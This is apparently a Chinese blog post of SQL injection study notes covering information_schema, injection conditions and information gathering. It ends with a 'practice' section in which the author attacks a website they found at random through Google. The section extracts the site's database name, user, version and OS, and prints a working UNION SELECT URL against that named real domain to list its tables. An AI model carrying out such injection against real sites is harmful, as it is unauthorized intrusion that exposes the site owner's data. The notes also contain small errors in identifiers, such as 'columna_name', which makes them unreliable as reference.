Sql注入之简要注入

 

 

 

 

知识点:

1.在mysql5.0以上版本中,mysq1存在一个自带数据库名为

information_schema, 它是一个存储记录所有数据库名, 表名,列名的数据库,

也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

  1. 数据库中符号”.”代表下一级   例如:test.admin   test数据库下的admin表

information_schema.tables :记录表明信息的表

Information_schema.columna:记录所有列名的表

table_name : 表名

columna_name:列名

table_schema:数据库名

Group_concat (table name)  查询所有表名

Schema :结构或组织。

 

 

Mysql注入

Sql注入原理:

通过拼接恶意代码带入到数据库进行查询的操作

Sql注入条件:

  1. 可控变量: 要有一个可以传递参数的变量
  2. 带入数据库操作:
  3. 存在过滤,或过滤不严谨

多参数注入

判断注入点:

通过输入id=1dadad  不存在的东西,如果dadad被带入数据库查询 则有注入 如果没有带入(页面正常显示) 则没有注入

有些网站对输入的参数进行监测,如果404 或 跳转页面 则没有注入

 

 

信息收集

操作系统

数据库名

数据库用户

数据库版本

其他(网站路径等)

 

数据注入

同数据库 ()

低版本  暴力查询

高版本  mysql5.0以上information_schema查询

 

高权限注入

常规查询

跨库查询

文件读写

 

 

实战

Google浏览器 随便找的一个网站

 

 

判断是否存在注入,将参数随便更改 id值带入数据库查询 存在sql注入。

 

 

 

 

 

猜解列明(字段)数 order by  为9

 

 

 

进行报错猜解

id=-118 union select 1,2,3,4,5,6,7,8,9        发现 回显点 3,4

 

 

 

根据上述信息收集,进行sql注入

数据库名字:jiuyu_jiuyu             database()

数据库用户名:jiuyu@localhhost     user()

数据库版本为:5.7.34               version()

操作系统:linux               @@version_compile_os

 

 

查询指定数据库下的表名信息

http://www.diffuser.com.tw/page.php?id=-118 union select 1,2,table_name,4,5,6,7,8,9 from information_schema.tables where table_schema=’jiuyu_jiuyu’

 

 

 

 

到此为止

 

posted @ 2021-08-22 17:17  二十四、  阅读(101)  评论(0编辑  收藏  举报